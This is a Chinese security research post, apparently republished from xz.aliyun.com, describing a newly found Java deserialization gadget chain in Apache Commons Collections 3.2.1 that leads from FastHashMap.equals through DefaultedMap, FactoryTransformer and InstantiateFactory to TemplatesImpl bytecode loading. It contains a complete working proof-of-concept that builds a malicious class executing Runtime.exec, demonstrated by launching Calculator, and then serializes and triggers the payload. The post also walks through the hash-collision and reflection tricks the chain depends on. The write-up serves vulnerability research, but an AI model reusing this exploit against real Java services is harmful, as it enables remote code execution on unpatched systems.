从FastHashMap到TemplatesImpl
2023-2-10 18:5:0 Author: xz.aliyun.com(查看原文) 阅读量:23 收藏

最近在学习CodeQL,对CC链进行了一次挖掘,在3.2.1版本中找到了一些可以利用的链子,如今对最短的一条编写了POC,顺便来分析一下,除此之外,还有二次反序列化的链子,这里就不分析了

这里为了方便,将CloneTransformer换成了FactoryTransfomer

主要是这里的DefaultedMap只有在3.2.1才能利用

package CC;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.FastHashMap;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.map.DefaultedMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;


public class CCD {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass STU = pool.makeClass("T0WN");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
        STU.makeClassInitializer().insertBefore(cmd);
        STU.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        STU.writeFile();
        byte[] classBytes = STU.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates,"_name","DawnT0wn");
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",targetByteCodes);

        InstantiateFactory factory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
        FactoryTransformer transformer = new FactoryTransformer(factory);

        HashMap tmp = new HashMap();
        tmp.put("zZ", "d");
        DefaultedMap map  = (DefaultedMap) DefaultedMap.decorate(tmp, transformer);


        FastHashMap fastHashMap1 = new FastHashMap();
        fastHashMap1.put("yy","d");

        Hashtable obj = new Hashtable();
        obj.put("aa", "b");
        obj.put(fastHashMap1, "1");

//        Object[] table = (Object[]) Reflections.getFieldValue(obj, "table");
        Field field = obj.getClass().getDeclaredField("table");
        field.setAccessible(true);
        Object[] table = (Object[]) field.get(obj);
        // hashmap的索引会根据key的值而变化,如果要改前面的key的话,这里的索引可以用调试的方式改一下
        Object node = table[2];
        Field keyField;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        if (keyField.get(node) instanceof String){
            keyField.set(node, map);
        }

        ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("CCD.bin"));
        os.writeObject(obj);

        ObjectInputStream fos = new ObjectInputStream(new FileInputStream("CCD.bin"));
        fos.readObject();

    }
    public static void setFieldValue(Object obj,String filename,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(filename);
        field.setAccessible(true);
        field.set(obj,value);
    }

}

首先明确了我们最后是用加载字节码的方式去实现RCE的

利用链如下

FastHashMap:equals()
    DefaultedMap:get()
        FactoryTransfomer:transformer() #这里也可以是CloneTransformer的tansformer方法
            InstantiateFactory:create()
                TrAXFilter:构造方法
                    TemplatesImpl:newTransformer()

看到equals方法,想到了CC7中可以用HashTable,HashMap,HashSet这些的readObject方法作为出发点

但是调用这些equals方法有一个共同点,就是我们需要去put两个hashCode相同的键值对,但是呢,在CC链中,put调用的putval会触发equals方法,直接走到结束,而在这个过程中,会抛出一个异常导致程序结束(只有在加载字节码的时候会有这个问题,如果是调用invoke的话,则不会存在这个问题)

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

在比较了CC7和Y4在rome链缩短的时候调用equals方法的操作后,发现都行不通

CC7会出现上面说的抛出异常程序结束的情况

而Y4调用equals方法,虽然都控制了调用的类,但是也会出现上述情况,那为什么在Rome链中可行呢,调试发现,在CC链中,put走到最后的时候会抛出一个异常,结束程序

而在Rome依赖中,虽然也会出现一个异常,但并不会导致程序结束

可以继续执行到接下来的步骤

在这两种方法都不行的情况下,想起可以用反射来修改key的值

可是在Map中,key,value是通过键值对存储的,普通的反射调用是行不通的,我们需要用如下方式去修改对应的key

Hashtable obj = new Hashtable();
        obj.put("aa", "b");
        obj.put(fastHashMap1, "1");

        Field field = obj.getClass().getDeclaredField("table");
        field.setAccessible(true);
        Object[] table = (Object[]) field.get(obj);
        // hashmap的索引会根据key的值而变化,如果要改前面的key的话,这里的索引可以用调试的方式改一下
        Object node = table[2];
        Field keyField;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        if (keyField.get(node) instanceof String){
            keyField.set(node, map);
        }

其实这种方式在ysoserial里面是存在的,但是这里的索引值一直有点不懂,会根据key的值而变化,是通过一个hash函数来确定索引的位置的(HashMap的链表初始长度为16)

接下来根据HashTable的readObject方法

跟进reconstitutionPut,此时的key是FastHashMap,但是现在的e为null,不会进入for循环

往下走会会把FastHashMap的key.hashCode,key,value等放进一个entry,然后count自增

因为我们向HashTable钟put了两对值,所以通过for循环再次调用了reconstitutionPut,此时的key是DefaultedMap

我们的目的是要调用e.key.equals(key),所以我们在if语句这里,要保证e.hash=hash否则不会执行后面的语句

e.hash其实就是调用的HashTable.hashCode,而此时的hash就是DefaultedMap.hashCode

可以看到,调用了DefaultedMap的负累AbstractMapDecorator的hashCode方法,实际上就是调用的hashMap的hashCode,因为我们调用DefaultedMap.decorate的时候传入的是hashMap

public final int hashCode() {
    return Objects.hashCode(key) ^ Objects.hashCode(value);
}

所以说,实际上比较的是

fastHashMap.put("yy","d");
hashmap.put("zZ", "d");

在解决了hashCode的问题后,我们来看e.key.equals(key),我们的目的就是调用FastHashMap的equals方法

虽然这里刚刚好符合,但是并不明白为什么第一个是FastHashMap,第二个是DefaultedMap,这个顺序是怎么确定的,如果反过来,那不就不行了吗

根据FastHashMap的equals方法

这里调用了DefaultedMap的get方法

DefaultedMap并没有包含yy这个key,而value实现了Transformer接口,调用FactoryTransformer方法

public Object transform(Object input) {
    return this.iFactory.create();
}

这里的iFactory是通过构造函数可控的,调用InstantiateFactory的create方法

这个类的构造函数调用了findConstructor,我们可以去实例化TrAXFilter的构造方法,接下来就调用TemplatesImpl的newTrasnformer方法然后加载字节码了

参考链接:

https://blog.diggid.top/2022/04/30/%E4%BD%BF%E7%94%A8CodeQL-CHA%E8%B0%83%E7%94%A8%E5%9B%BE%E5%88%86%E6%9E%90%E5%AF%BB%E6%89%BE%E6%96%B0%E7%9A%84CC%E9%93%BE/#%E5%89%8D%E8%A8%80


文章来源: https://xz.aliyun.com/t/12135
如有侵权请联系:admin#unsafe.sh